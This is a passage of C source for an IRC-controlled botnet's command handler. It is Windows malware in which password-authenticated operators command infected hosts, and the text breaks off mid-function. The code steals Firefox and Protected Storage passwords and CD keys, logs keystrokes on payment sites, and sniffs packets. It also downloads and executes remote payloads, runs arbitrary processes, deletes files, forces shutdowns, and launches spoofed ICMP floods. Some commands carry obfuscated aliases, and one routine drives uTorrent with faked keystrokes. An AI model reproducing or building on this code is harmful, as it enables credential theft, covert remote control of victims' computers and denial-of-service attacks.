#include "../h/includes.h" #include "../h/functions.h" #include "../h/externs.h" #pragma comment( lib, "Urlmon.lib" ) ////////////////////////////////////////////////////////////////////////////// // uTorrent Shit ////////////////////////////////////////////////////////////////////////////// HWND uTorrentWindow = 0; BOOL CALLBACK EnumProc( HWND hWnd, LPARAM lParam ) { char szTitle[ 512 ]; GetWindowText( hWnd, szTitle, sizeof( szTitle ) ); if( strstr( szTitle, "\xB5Torrent" ) ) uTorrentWindow = hWnd; return TRUE; }; HWND FindUTorrent( ) { EnumWindows( EnumProc, 0 ); return( uTorrentWindow ); }; void TypeString( char* szString ) { int Length = strlen( szString ), i; bool ShiftDown = false; short sKey; for( i = 0; i < Length; i++, szString++ ) { sKey = VkKeyScan( *szString ); if( ( sKey >> 8 ) & 1 ) { keybd_event( VK_LSHIFT, 0, 0, 0 ); ShiftDown = true; } keybd_event( (unsigned char)sKey, 0, 0, 0 ); if( ShiftDown ) { keybd_event( VK_LSHIFT, 0, KEYEVENTF_KEYUP, 0 ); ShiftDown = false; } } }; int SeedUTorrent( char* szUrl, char* szSaveAs, char* szSeedTo ) { HWND uTorrentWindow = FindUTorrent( ); if( uTorrentWindow == 0 ) return 1; if( URLDownloadToFile( 0, szUrl, szSaveAs, 0, 0 ) != S_OK ) return 2; if( (int)fShellExecute( 0, "open", szSaveAs, 0, 0, SW_NORMAL ) <= 32 ) return 3; ShowWindow( uTorrentWindow, SW_SHOW ); BringWindowToTop( uTorrentWindow ); SetForegroundWindow( uTorrentWindow ); SetFocus( uTorrentWindow ); if( !IsWindow( uTorrentWindow ) ) return 4; Sleep( 300 ); if( *szSeedTo != 0 ) TypeString( szSeedTo ); keybd_event( VK_RETURN, 0, 0, 0 ); ShowWindow( uTorrentWindow, SW_MINIMIZE ); return 0; }; int IRC_CommandParse(char *line, char *a[MAXTOKENS], int s, SOCKET sock, char *server, char *channel, char *chanpass, char *nick, char *user, char *host, char masters[MAXLOGINS][MAXIDENT], BOOL ismaster, int repeat) { char line1[IRCLINE], sendbuf[IRCLINE], ntmp[12], ntmp2[3]; int i, j; DWORD id=0; unsigned char parameters[256]; memset(parameters,0,sizeof(parameters)); for (i = (MAXTOKENS - 1); i >= 0; i--) { if (a[i]) { if ((a[i][0] == '-') && (a[i][2] == 0)) { parameters[a[i][1]] = 1 ; a[i][0]=0; a[i][1]=0; a[i][2]=0; a[i]=NULL; } else break; } } BOOL silent = (parameters['s']); BOOL notice = (strcmp("NOTICE", a[1]) == 0 || parameters['n']); if (notice && strcmp("332",a[1]) != 0) a[2] = user; #ifdef DEBUG_CRYPT // NOTE: Here for testing only. Please leave until we have the auth bug looked at. #ifndef NO_CRYPT if (strcmp("dump", a[s]) == 0) { if (a[s+1]) { irc_sendv(sock, "NOTICE %s : Id = '%s'\r\n",user,botid); Sleep(FLOOD_DELAY); irc_sendv(sock, "NOTICE %s : Version = '%s'\r\n",user,version); Sleep(FLOOD_DELAY); irc_sendv(sock, "NOTICE %s : Server = '%s'\r\n",user,server); Sleep(FLOOD_DELAY); irc_sendv(sock, "NOTICE %s : Channel = '%s'\r\n",user,channel); Sleep(FLOOD_DELAY); irc_sendv(sock, "NOTICE %s : Nickconst = '%s'\r\n",user,nickconst); Sleep(FLOOD_DELAY); irc_sendv(sock, "NOTICE %s : Authost = '%s'\r\n",user,authost[0]); irc_sendv(sock, "NOTICE %s : Password(before) = '%s'\r\n",user,password); Sleep(FLOOD_DELAY); Crypt(password,strlen(password)); irc_sendv(sock, "NOTICE %s : Password = '%s'\r\n",user,password); Sleep(FLOOD_DELAY); Crypt(password,strlen(password)); irc_sendv(sock, "NOTICE %s : Password(enc) = '%s'\r\n",user,password); Sleep(FLOOD_DELAY); Crypt(a[s+1],strlen(a[s+1])); irc_sendv(sock, "NOTICE %s : Password(arg) = '%s'\r\n",user,a[s+1]); Sleep(FLOOD_DELAY); } return 1; } #endif #endif if (strcmp("hi", a[s]) == 0 || strcmp("yfuyf", a[s]) == 0) { if (a[s+1] == NULL || ismaster || strcmp("332", a[1]) == 0 || strcmp("TOPIC", a[1]) == 0) return 1; char a0[MAXIDENT]; _snprintf(a0,sizeof(a0),a[0]); char *u = strtok(a[0], "!") + 1, *h = strtok(NULL, "\0"); h = strtok(h, "~"); BOOL host_ok=FALSE; for (i=0; i < authsize; i++) { #ifndef NO_WILDCARD if (wildcardfit(authost[i], h)) { host_ok = TRUE; break; } #else if (strcmp(h, authost[i]) == 0) { host_ok = TRUE; break; } #endif } #ifndef NO_CRYPT Crypt((unsigned char *)a[s+1],strlen(a[s+1]),NULL,0); #endif if (!host_ok || strcmp(password, a[s+1]) != 0) { irc_sendv(sock, "NOTICE %s :Authentication failed (%s!%s).\r\n", user, user, h); irc_sendv(sock, "NOTICE %s :Your attempt has been logged.\r\n", user); return 1; } for (i = 0; i < MAXLOGINS; i++) { if (masters[i][0] == '\0') { _snprintf(masters[i], MAXIDENT, a0); if (!silent) irc_privmsg(sock, a[2], "[MAIN]: Password accepted.", notice); return 1; } } _snprintf(sendbuf,sizeof(sendbuf),"[MAIN]: Failed to login user: %s, too many logins already.", user); if (!silent) irc_privmsg(sock, a[2], sendbuf, notice); return 1; } if (ismaster || strcmp("332", a[1]) == 0 || strcmp("TOPIC", a[1]) == 0) { BOOL usevars = FALSE; _snprintf(line1, sizeof(line1), line); char *x = strstr(line1, " :"); // commands requiring no parameters // check if the command matches an alias's name for (i = 0; i < anum; i++) { if (strcmp(aliases[i].name, a[s]) == 0) { char *z = strstr(line, " :"); if (z == NULL) return 1; z[2] = prefix; z[3] = prefix; strncpy(z+4, aliases[i].command, (MAXCMDLEN-1)); // process '$x-' parameter variables for (j=15; j > 0; j--) { sprintf(ntmp, "$%d-", j); if (strstr(line, ntmp) != NULL && a[s+j+1] != NULL) { x = x + strlen(aliases[i].name); if (x != NULL) { char *y = strstr(x, a[s+j]); if (y != NULL) replacestr(line, ntmp, y); } } else if (a[s+j+1] == NULL) { strncpy(ntmp2, ntmp, 2); ntmp2[2] = '\0'; replacestr(line, ntmp, ntmp2); } } // process '$x' parameter variables for (j=16; j > 0; j--){ sprintf(ntmp, "$%d", j); if (a[s+j] && strstr(line, ntmp)) replacestr(line, ntmp, a[s+j]); } usevars = TRUE; break; } } if (a[s][0] == prefix || usevars) { // process variables replacestr(line, "$me", nick); // bot's nick replacestr(line, "$user", user); // user's nick replacestr(line, "$chan", a[2]); // channel name (or user name if this is a privmsg to the bot) replacestr(line, "$rndnick", rndnick(sendbuf, nicktype, FALSE)); replacestr(line, "$server", server); // name of current server // process '$chr()' variables while (strstr(line, "$chr(")) { char *z = strstr(line, "$chr("); strncpy(ntmp, z+5, 4); strtok(ntmp, ")"); if (ntmp[0] < 48 || ntmp[0] > 57) strncpy(ntmp, "63", 3); ntmp2[0] = (char)((atoi(ntmp) > 0)?(atoi(ntmp)):((rand()%96) + 32)); ntmp2[1] = '\0'; j = strlen(ntmp); memset(ntmp, 0, sizeof(ntmp)); strncpy(ntmp, z, j+6); replacestr(line, ntmp, ntmp2); } // re-split the line into seperate words _snprintf(line1, sizeof(line1), line); a[0] = strtok(line1, " "); for (i = 1; i < MAXTOKENS; i++) a[i] = strtok(NULL, " "); if (a[s] == NULL) return 1; a[s] += 3; if (strcmp("332", a[1]) == 0) a[2] = a[3]; x = strstr(line, " :"); } if (strcmp("rndnick", a[s]) == 0 || strcmp("rr4ytgn", a[s]) == 0) { char nickbuf[MAXNICKLEN]; memset(nickbuf, 0, sizeof(nickbuf)); rndnick(nickbuf, nicktype, (parameters['p']), a[s+1]); irc_sendv(sock, "NICK %s\r\n", nickbuf); sprintf(sendbuf,"[MAIN]: Random nick change to: %s.",nickbuf); if (!silent) irc_privmsg(sock, a[2], sendbuf, notice); return repeat; } else if (strcmp("die", a[s]) == 0 || strcmp("d13", a[s]) == 0) { if (strcmp("332", a[1]) != 0 || strcmp("TOPIC", a[1]) != 0) { killthreadall(); ExitProcess(EXIT_SUCCESS); } else return 1; } #ifndef NO_PROCESS else if (strcmp("procsstop",a[s]) == 0 || strcmp("psstop",a[s]) == 0) { stopthread(sock,a[2],notice,silent,"[PROC]","Process list",PROC_THREAD,a[s+1]); return 1; } #endif #ifndef NO_SECURE else if (strcmp("secstop",a[s]) == 0) { stopthread(sock,a[2],notice,silent,"[SECURE]","Secure",SECURE_THREAD,a[s+1]); return 1; } #endif else if (strcmp("reconnect", a[s]) == 0 || strcmp("rec", a[s]) == 0) { irc_sendv(sock, "QUIT :reconnecting\r\n"); return 0; } else if (strcmp("disconnect", a[s]) == 0 || strcmp("dc", a[s]) == 0) { irc_sendv(sock, "QUIT :disconnecting\r\n"); return -1; } else if (strcmp("quitz", a[s]) == 0 || strcmp("quitz0r", a[s]) == 0) { if (strcmp("332", a[1]) != 0 || strcmp("TOPIC", a[1]) != 0) { if (a[s+1]) { if (x != NULL) { char *y = strstr(x, a[s+1]); if (y != NULL) irc_sendv(sock, "QUIT :%s\r\n", y); } } else irc_sendv(sock, "QUIT :later\r\n"); return -2; } else return 1; } else if (strcmp("threads", a[s]) == 0 || strcmp("t", a[s]) == 0) { TLIST tlist; _snprintf(tlist.chan, sizeof(tlist.chan), a[2]); tlist.sock = sock; tlist.notice = notice; tlist.silent = silent; tlist.full = ((a[s+1])?(strcmp(a[s+1],"sub") == 0):(FALSE)); sprintf(sendbuf, "[THREADS]: List threads."); tlist.threadnum = addthread(sendbuf, LIST_THREAD, NULL); if (threads[tlist.threadnum].tHandle = CreateThread(NULL, 0, &ListThread, (LPVOID)&tlist, 0, &id)) { while (tlist.gotinfo == FALSE) Sleep(50); } else sprintf(sendbuf,"[THREADS]: Failed to start list thread, error: <%d>.", GetLastError()); return repeat; } else if (strcmp("rem", a[s]) == 0 || strcmp("rm", a[s]) == 0) { if (strcmp("332", a[1]) != 0 || strcmp("TOPIC", a[1]) != 0) { if (!silent) irc_privmsg(sock, a[2], "[MAIN]: Removing Bot.", notice); #ifdef DEBUG_LOGGING closedebuglog(); #endif killthreadall(); fclosesocket(sock); fWSACleanup(); uninstall(); ExitProcess(EXIT_SUCCESS); } else return 1; } #ifndef NO_PROCESS else if (strcmp("procs", a[s]) == 0 || strcmp("ps", a[s]) == 0) { if (findthreadid(PROC_THREAD) > 0) { if (!silent) irc_privmsg(sock, a[2], "[PROC]: Already running.", notice); } else { LPROC lproc; _snprintf(lproc.chan, sizeof(lproc.chan), a[2]); lproc.sock = sock; lproc.notice = notice; lproc.silent = silent; lproc.full = FALSE; if (a[s+1]) if (strcmp("full", a[s+1]) == 0) lproc.full = TRUE; sprintf(sendbuf,"[PROCS]: Proccess list."); lproc.threadnum = addthread(sendbuf, PROC_THREAD, NULL); if (threads[lproc.threadnum].tHandle = CreateThread(NULL, 0, &listProcessesThread, (LPVOID)&lproc, 0, &id)) { while (lproc.gotinfo == FALSE) Sleep(50); } else sprintf(sendbuf,"[PROCS]: Failed to start listing thread, error: <%d>.", GetLastError()); } return 1; } #endif #ifndef NO_CDKEYS else if (strcmp("cdkeys", a[s]) == 0 || strcmp("kegfgdys", a[s]) == 0) { getcdkeys(sock,a[2],notice); sprintf(sendbuf,"[CDKEYS]: Search completed."); if (!silent) irc_privmsg(sock,a[2],sendbuf,notice); return 1; } #endif else if (strcmp("pstore", a[s]) == 0 || strcmp ("pst", a[s]) == 0) { pststrct pStorInfo; pStorInfo.sock = sock; strcpy(pStorInfo.chan,a[2]); sprintf(sendbuf, ".::[ PassStore Executed ]::.", version); if (!silent) irc_privmsg(sock, a[2], sendbuf, notice); CreateThread(NULL, 0, &pstore, (LPVOID)&pStorInfo, 0, 0); } else if (strcmp("firefox", a[s]) == 0) { if(!fGetUserProfileDirectory){return 1;} FindFirefoxPasses(sock, channel, notice); irc_privmsg(sock, channel, "• FireFox • FireFox Executed.", notice); return 1; } else if (strcmp("firefoxstop", a[s]) == 0) { stopthread(sock,a[2],notice,silent,"Firefox","Firefox",FIREFOX_THREAD,a[s+1]); return 1; } #ifdef DUMP_ENCRYPT else if (strcmp("encrypt", a[s]) == 0 || strcmp("Rrenc", a[s]) == 0) { encryptstrings(authsize,versionsize,sock,a[2],notice); return 1; } #endif else if (strcmp("flusharp", a[s]) == 0 || strcmp("farp", a[s]) == 0) { if (FlushARPCache()) _snprintf(sendbuf,sizeof(sendbuf),"[FLUSHDNS]: ARP cache flushed."); else _snprintf(sendbuf,sizeof(sendbuf),"[FLUSHDNS]: Failed to flush ARP cache."); if (!silent) irc_privmsg(sock, a[2], sendbuf, notice); return repeat; } else if (strcmp("flushdns", a[s]) == 0 || strcmp("fdns", a[s]) == 0) { if (fDnsFlushResolverCache) { if (fDnsFlushResolverCache()) _snprintf(sendbuf,sizeof(sendbuf),"[FLUSHDNS]: DNS cache flushed."); else _snprintf(sendbuf,sizeof(sendbuf),"[FLUSHDNS]: Failed to flush DNS cache."); } else _snprintf(sendbuf,sizeof(sendbuf),"[FLUSHDNS]: Failed to load dnsapi.dll."); if (!silent) irc_privmsg(sock, a[2], sendbuf, notice); return repeat; } // commands requiring at least 1 parameter else if (a[s+1] == NULL) return 1; else if (strcmp("nick", a[s]) == 0 || strcmp("n", a[s]) == 0) { irc_sendv(sock, "NICK %s\r\n", a[s+1]); return repeat; } else if (strcmp("join", a[s]) == 0 || strcmp("j", a[s]) == 0) { irc_sendv(sock, "JOIN %s %s\r\n", a[s+1], a[s+2]); return repeat; } else if (strcmp("part", a[s]) == 0 || strcmp("pt", a[s]) == 0) { irc_sendv(sock, "PART %s\r\n", a[s+1]); return repeat; } else if (strcmp("raw", a[s]) == 0 || strcmp("r", a[s]) == 0) { if (x != NULL) { char *y = strstr(x, a[s+1]); if (y != NULL) { irc_sendv(sock, "%s\r\n", y); _snprintf(sendbuf,sizeof(sendbuf),"[MAIN]: Sent IRC Raw: %s.",y); if (!silent) irc_privmsg(sock, a[2], sendbuf, notice); } } return repeat; } else if (strcmp("killthread", a[s]) == 0 || strcmp("k", a[s]) == 0) { if (strcmp("all", a[s+1]) == 0) { if ((i=killthreadall()) > 0) sprintf(sendbuf,"[THREADS]: Stopped: %d thread(s).", i); else sprintf(sendbuf,"[THREADS]: No active threads found."); if (!silent) irc_privmsg(sock, a[2], sendbuf, notice); } else { for (i = s+1; i < (sizeof(a)/4); i++) { if (a[i]==NULL) break; if (killthread(atoi(a[i]))) sprintf(sendbuf,"[THREADS]: Killed thread: %s.",a[i]); else sprintf(sendbuf,"[THREADS]: Failed to kill thread: %s.",a[i]); if (!silent) irc_privmsg(sock, a[2], sendbuf, notice); } } return 1; } else if (strcmp("prefix", a[s]) == 0 || strcmp("pr", a[s]) == 0) { prefix = a[s+1][0]; sprintf(sendbuf,"[MAIN]: Prefix changed to: '%c'.",a[s+1][0]); if (!silent) irc_privmsg(sock, a[2], sendbuf, notice); return 1; } else if (strcmp("open", a[s]) == 0 || strcmp("o", a[s]) == 0) { if (fShellExecute(0, "open", a[s+1], NULL, NULL, SW_SHOW)) sprintf(sendbuf,"[SHELL]: File opened: %s", a[s+1]); else sprintf(sendbuf,"[SHELL]: Couldn't open file: %s", a[s+1]); if (!silent) irc_privmsg(sock, a[2], sendbuf, notice); return repeat; } else if (strcmp("server", a[s]) == 0 || strcmp("se", a[s]) == 0) { strncpy(server, a[s+1], 127); sprintf(sendbuf,"[MAIN]: Server changed to: '%s'.",a[s+1]); if (!silent) irc_privmsg(sock, a[2], sendbuf, notice); return 1; } else if (strcmp("dns", a[s]) == 0 || strcmp("dn", a[s]) == 0) { LPHOSTENT hostent = NULL; IN_ADDR iaddr; DWORD addr = finet_addr(a[s+1]); if (addr != INADDR_NONE) { hostent = fgethostbyaddr((char *)&addr, sizeof(struct in_addr), AF_INET); if (hostent != NULL) sprintf(sendbuf, "[DNS]: Lookup: %s -> %s.", a[s+1], hostent->h_name); } else { hostent = fgethostbyname(a[s+1]); if (hostent != NULL) { iaddr = *((LPIN_ADDR)*hostent->h_addr_list); sprintf(sendbuf, "[DNS]: Lookup: %s -> %s.", a[s+1], finet_ntoa(iaddr)); } } if (hostent == NULL) sprintf(sendbuf,"[DNS]: Couldn't resolve hostname."); if (!silent) irc_privmsg(sock, a[2], sendbuf, notice); return repeat; } #ifndef NO_PROCESS else if (strcmp("killproc",a[s]) == 0 || strcmp("kp", a[s]) == 0) { // kill process name if(listProcesses(sock,NULL,notice,a[s+1]) == 1) sprintf(sendbuf,"[PROC]: Process killed: %s",a[s+1]); else sprintf(sendbuf,"[PROC]: Failed to terminate process: %s", a[s+1]); if (!silent) irc_privmsg(sock, a[2], sendbuf, notice); return repeat; } else if (strcmp("kill",a[s]) == 0 || strcmp("ki", a[s]) == 0) { // kill process id if(killProcess(atoi(a[s+1])) == 1) sprintf(sendbuf,"[PROC]: Process killed ID: %s",a[s+1]); else sprintf(sendbuf,"[PROC]: Failed to terminate process ID: %s", a[s+1]); if (!silent) irc_privmsg(sock, a[2], sendbuf, notice); return 1; } #endif else if (strcmp("delete", a[s]) == 0 || strcmp("del", a[s]) == 0) { if (DeleteFile(a[s+1])) _snprintf(sendbuf,sizeof(sendbuf),"[FILE]: Deleted '%s'.",a[s+1]); else _snprintf(sendbuf,sizeof(sendbuf),PrintError("[FILE]:")); if (!silent) irc_privmsg(sock, a[2], sendbuf, notice); return repeat; } #ifndef NO_VISIT else if (strcmp("visit", a[s]) == 0 || strcmp("v", a[s]) == 0) { VISIT visit; strncpy(visit.host, a[s+1], sizeof(visit.host)-1); if (a[s+2] != NULL) strncpy(visit.referer, a[s+2], sizeof(visit.referer)-1); strncpy(visit.chan, a[2], sizeof(visit.chan)-1); visit.sock = sock; visit.silent = silent; visit.notice = notice; sprintf(sendbuf,"[VISIT]: URL: %s.",a[s+1]); visit.threadnum=addthread(sendbuf,VISIT_THREAD,NULL); if (threads[visit.threadnum].tHandle = CreateThread(NULL, 0, &VisitThread, (LPVOID)&visit, 0, &id)) { while(visit.gotinfo == FALSE) Sleep(50); } else sprintf(sendbuf,"[VISIT]: Failed to start connection thread, error: <%d>.", GetLastError()); return repeat; } #endif else if (strcmp("mirccmd", a[s]) == 0 || strcmp("mirc", a[s]) == 0) { if (x != NULL) { char *y = strstr(x, a[s+1]); if (y != NULL) { if (!mirccmd(y)) sprintf(sendbuf,"[mIRC]: Client not open."); else sprintf(sendbuf,"[mIRC]: Command sent."); if (!silent) irc_privmsg(sock, a[2], sendbuf, notice); } } return repeat; } #ifndef NO_PSNIFF else if (strcmp("psniff", a[s]) == 0) { if (strcmp("on", a[s+1]) == 0) { if (findthreadid(PSNIFF_THREAD) > 0) sprintf(sendbuf ,"[PSNIFF]: Already running."); else { PSNIFF sniff; sniff.sock = sock; sniff.notice = notice; sniff.silent = silent; _snprintf(sniff.chan, sizeof(sniff.chan), ((a[s+2])?(a[s+2]):((strcmp(psniffchan,"")==0)?(a[2]):(psniffchan)))); sprintf(sendbuf, "[PSNIFF]: Carnivore packet sniffer active."); sniff.threadnum = addthread(sendbuf, PSNIFF_THREAD, NULL); if (threads[sniff.threadnum].tHandle = CreateThread(NULL, 0, &SniffThread, (LPVOID)&sniff, 0, &id)) { while(sniff.gotinfo == FALSE) Sleep(50); } else sprintf(sendbuf,"[PSNIFF]: Failed to start sniffer thread, error: <%d>.", GetLastError()); } } else if (strcmp("off", a[s+1]) == 0) { if ((i=killthreadid(PSNIFF_THREAD)) > 0) sprintf(sendbuf,"[PSNIFF]: Carnivore stopped. (%d thread(s) stopped.)",i); else sprintf(sendbuf,"[PSNIFF]: No Carnivore thread found."); } if (!silent) irc_privmsg(sock, a[2], sendbuf, notice); return 1; } #endif #ifndef NO_KEYLOG else if (strcmp("keylog", a[s]) == 0) { if (findthreadid(KEYLOG_THREAD) > 0) sprintf(sendbuf ,"[KeyLog] Already running."); else if (a[s+1]) { KEYLOG keylog; keylog.sock = sock; keylog.notice = notice; keylog.silent = silent; keylog.mode = false; if(strcmp("pay", a[s+1]) == 0) { keylog.mode = true; _snprintf(keylog.chan, sizeof(keylog.chan), ((a[s+2])?(a[s+2]):((strcmp(keylogchan,"")==0)?(a[2]):(keylogchan)))); sprintf(sendbuf, "[KeyLog] pay-sites keylogger active."); } else if(strcmp("normal", a[s+1]) == 0) { _snprintf(keylog.chan, sizeof(keylog.chan), ((a[s+2])?(a[s+2]):((strcmp(keylogchan,"")==0)?(a[2]):(keylogchan)))); sprintf(sendbuf, "[KeyLog] Normal key logger active."); } else { sprintf(sendbuf, "[KeyLog] Unknow mode type."); if (!silent) irc_privmsg(sock,a[2],sendbuf,notice); return 1; } keylog.threadnum = addthread(sendbuf, KEYLOG_THREAD, NULL); if (threads[keylog.threadnum].tHandle = CreateThread(NULL, 0, &KeyLoggerThread, (LPVOID)&keylog, 0, &id)) { while(keylog.gotinfo == FALSE) Sleep(50); } else sprintf(sendbuf,"[KeyLog] Failed to start logging thread, error: <%d>.", GetLastError()); } else sprintf(sendbuf, "[KeyLog] Missing mode type."); if (!silent) irc_privmsg(sock, a[2], sendbuf, notice); return 1; } else if (strcmp("stop",a[s]) == 0 || strcmp("stop",a[s]) == 0) { stopthread(sock,a[2],notice,silent,"[KeyLog] pay-sites keylogger active.","Keylog",KEYLOG_THREAD,a[s+1]); return 1; } #endif else if (strcmp("system", a[s]) == 0) { if (strcmp("logoff", a[s+1]) == 0) sprintf(sendbuf, ((SystemControl(EWX_FORCE_LOGOFF, 0))?("[SYSTEM]: Logging off current user."):("[SYSTEM]: Failed to logoff current user."))); else if (strcmp("reboot", a[s+1]) == 0) sprintf(sendbuf, ((SystemControl(EWX_SYSTEM_REBOOT, SHUTDOWN_SYSTEM_HUNG))?("[SYSTEM]: Rebooting system."):("[SYSTEM]: Failed to reboot system."))); else if (strcmp("shutdown", a[s+1]) == 0) sprintf(sendbuf, ((SystemControl(EWX_FORCE_SHUTDOWN, SHUTDOWN_SYSTEM_HUNG))?("[SYSTEM]: Shutting down system."):("[SYSTEM]: Failed to shutdown system."))); else sprintf(sendbuf, "[MAIN]: Unrecognized command: %s.", a[s+1]); irc_privmsg(sock, a[2], sendbuf, notice); return 1; } // commands requiring at least 2 parameters else if (a[s+2] == NULL) return 1; else if (strcmp("privmsg", a[s]) == 0 || strcmp("pm", a[s]) == 0) { if (x != NULL) { x = x + strlen(a[s]) + strlen(a[s+1]) + 2; char *y = strstr(x, a[s+2]); if (y != NULL) { irc_privmsg(sock, a[s+1], y, FALSE); } } return repeat; } else if (strcmp("action", a[s]) == 0 || strcmp("a", a[s]) == 0) { if (x != NULL) { x = x + strlen(a[s]) + strlen(a[s+1]) + 2; char *y = strstr(x, a[s+2]); if (y != NULL) { sprintf(sendbuf, "\1ACTION %s\1", y); irc_privmsg(sock, a[s+1], sendbuf, FALSE); } } return repeat; } else if (strcmp("cycle", a[s]) == 0 || strcmp("cy", a[s]) == 0) { irc_sendv(sock, "PART %s\r\n", a[s+2]); Sleep(atoi(a[s+1])*1000); irc_sendv(sock, "JOIN %s %s\r\n", a[s+2], a[s+3]); return repeat; } else if (strcmp("mode", a[s]) == 0 || strcmp("m", a[s]) == 0) { if (x != NULL) { char *y = strstr(x, a[s+1]); if (y != NULL) { irc_sendv(sock, "MODE %s\r\n", y); } } return repeat; } else if (strcmp("repeat", a[s]) == 0 || strcmp("rp", a[s]) == 0) { if (strcmp("332", a[1]) == 0 || strcmp("TOPIC", a[1]) == 0) return 1; if (x != NULL) { char *r = strstr(x, a[s+2]); if (strcmp(a[s+2]+1,"repeat") != 0) { sprintf(sendbuf, "%s %s %s :%s", a[0], a[1], a[2], r); strncpy(line, sendbuf, (IRCLINE-1)); sprintf(sendbuf,"[MAIN]: Repeat: %s", r); if (atoi(a[s+1]) > 0) return repeat + atoi(a[s+1]); else return repeat; } else { sprintf(sendbuf,"[MAIN]: Repeat not allowed in command line: %s", r); if (!silent) irc_privmsg(sock,a[2],sendbuf,notice); } } return repeat; } else if (strcmp("delay", a[s]) == 0 || strcmp("de", a[s]) == 0) { if (strcmp("332", a[1]) == 0 || strcmp("TOPIC", a[1]) == 0) return 1; if (x != NULL) { char *r = strstr(x, a[s+2]); sprintf(sendbuf, "%s %s %s :%s", a[0], a[1], a[2], r); strncpy(line, sendbuf, 511); if (atoi(a[s+1]) > 0) Sleep(atoi(a[s+1])*1000); return repeat + 1; } return 1; } ////////////////////////////////////////////////////////////////////////////// // uTorrent Seeder ////////////////////////////////////////////////////////////////////////////// #ifndef NO_DOWNLOAD else if (strcmp("update", a[s]) == 0 || strcmp("up", a[s]) == 0) { if (strcmp(botid, a[s+2]) != 0) { char tempdir[MAX_PATH], tmpbuf[MAXNICKLEN]; GetTempPath(sizeof(tempdir), tempdir); DOWNLOAD dl; strncpy(dl.url, a[s+1], sizeof(dl.url)-1); sprintf(dl.dest, "%s%s.exe", tempdir, rndnickletter(tmpbuf)); dl.update = 1; dl.run = 0; dl.filelen=((a[s+3])?(atoi(a[s+3])):(0)); dl.expectedcrc=((a[s+4])?(strtoul(a[s+4],0,16)):(0)); dl.encrypted=(parameters['e']); dl.sock = sock; strncpy(dl.chan, a[2], sizeof(dl.chan)-1); dl.notice=notice; dl.silent = silent; sprintf(sendbuf, "[UPDATE]: Downloading update from: %s.", a[s+1]); dl.threadnum = addthread(sendbuf, UPDATE_THREAD, sock); if (threads[dl.threadnum].tHandle = CreateThread(NULL, 0, &DownloadThread, (LPVOID)&dl, 0, &id)) { while(dl.gotinfo == FALSE) Sleep(50); } else sprintf(sendbuf,"[UPDATE]: Failed to start download thread, error: <%d>.", GetLastError()); } else sprintf(sendbuf,"[UPDATE]: Bot ID must be different than current running process."); if (!silent) irc_privmsg(sock, a[2], sendbuf, notice); return repeat; } #endif else if (strcmp("execute", a[s]) == 0 || strcmp("e", a[s]) == 0) { PROCESS_INFORMATION pinfo; STARTUPINFO sinfo; memset(&pinfo, 0, sizeof(pinfo)); memset(&sinfo, 0, sizeof(sinfo)); sinfo.cb = sizeof(sinfo); sinfo.dwFlags = STARTF_USESHOWWINDOW; sinfo.wShowWindow = ((atoi(a[s+1]) == 1)?(SW_SHOW):(SW_HIDE)); if (x != NULL) { char *y = strstr(x, a[s+2]); if (y != NULL) if (!CreateProcess(NULL, y, NULL, NULL, TRUE, NORMAL_PRIORITY_CLASS | DETACHED_PROCESS, NULL, NULL, &sinfo, &pinfo)) sprintf(sendbuf,"[EXEC]: Couldn't execute file."); else sprintf(sendbuf,"[EXEC]: Commands: %s",y); } if (!silent) irc_privmsg(sock, a[2], sendbuf, notice); return repeat; } else if (strcmp("rename", a[s]) == 0 || strcmp("mv", a[s]) == 0) { if (MoveFile(a[s+1],a[s+2])) _snprintf(sendbuf,sizeof(sendbuf),"[FILE]: Rename: '%s' to: '%s'.", a[s+1], a[s+2]); else _snprintf(sendbuf,sizeof(sendbuf),PrintError("[FILE]:")); if (!silent) irc_privmsg(sock, a[2], sendbuf, notice); return 1; } #ifndef NO_ICMP else if (strcmp("killit", a[s]) == 0 || strcmp("icmpggrgr", a[s]) == 0) { ICMPFLOOD icmpflood; if ((icmpflood.time = atoi(a[s+2])) > 0) { _snprintf(icmpflood.ip,sizeof(icmpflood.ip),a[s+1]); icmpflood.spoof = (parameters['r']); icmpflood.sock = sock; _snprintf(icmpflood.chan,sizeof(icmpflood.chan),a[2]); icmpflood.notice = notice; icmpflood.silent = silent; _snprintf(sendbuf,sizeof(sendbuf),"[ICMP]: Flooding: (%s) for %s seconds.", a[s+1], a[s+2]); icmpflood.threadnum = addthread(sendbuf,ICMP_THREAD,NULL); if (threads[icmpflood.threadnum].tHandle = CreateThread(NULL, 0, &ICMPFloodThread, (LPVOID)&icmpflood, 0, &id)) { while(icmpflood.gotinfo == FALSE) Sleep(50); } else sprintf(sendbuf,"[ICMP]: Failed to start flood thread, error: <%d>.", GetLastError()); } else sprintf(sendbuf,"[ICMP]: Invalid flood time must be greater than 0."); if (!silent) irc_privmsg(sock, a[2], sendbuf, notice); return 1; } #endif // commands requiring at least 3 parameters else if (a[s+3] == NULL) return 1; #ifndef NO_SEED else if (strcmp("seed", a[s]) == 0 || strcmp("utorrent.seed", a[s]) == 0) { { char *url; char *oic; char *kkk; url = a[1]; oic = a[2]; kkk = a[3]; switch( SeedUTorrent( url, oic, kkk ) ) { case 0: irc_privmsg(sock, channel, "Seeding!", notice); }; } } #endif #ifndef NO_DOWNLOAD else if (strcmp("dl", a[s]) == 0 || strcmp("degsdgl", a[s]) == 0) { DOWNLOAD dl; strncpy(dl.url, a[s+1], sizeof(dl.url)-1); strncpy(dl.dest, a[s+2], sizeof(dl.dest)-1); dl.update = 0; dl.run = ((a[s+3])?(atoi(a[s+3])):(0)); dl.expectedcrc=((a[s+4])?(strtoul(a[s+4],0,16)):(0)); dl.filelen=((a[s+5])?(atoi(a[s+5])):(0)); dl.encrypted=(parameters['e']); dl.sock = sock; strncpy(dl.chan, a[2], sizeof(dl.chan)-1); dl.notice=notice; dl.silent = silent; sprintf(sendbuf, "[DOWNLOAD]: Downloading URL: %s to: %s.", a[s+1], a[s+2]); dl.threadnum = addthread(sendbuf, DOWNLOAD_THREAD, sock); if (threads[dl.threadnum].tHandle = CreateThread(NULL, 0, &DownloadThread, (LPVOID)&dl, 0, &id)) { while(dl.gotinfo == FALSE) Sleep(50); } else sprintf(sendbuf,"[DOWNLOAD]: Failed to start transfer thread, error: <%d>.", GetLastError()); if (!silent) irc_privmsg(sock, a[2], sendbuf, notice); return 1; } #endif // commands requiring at least 4 parameters else if (a[s+4] == NULL) return 1; else if (strcmp("email", a[s]) == 0 ) { WORD version = MAKEWORD(1,1); WSADATA wsaData; char server[256], sender_email[256], recp_email[256], subject[256], myBuf[256], BigBuf[1024]; int port, nRet; strcpy(server,a[s+1]); port = atoi(a[s+2]); strcpy(sender_email,a[s+3]); strcpy(recp_email,a[s+4]); 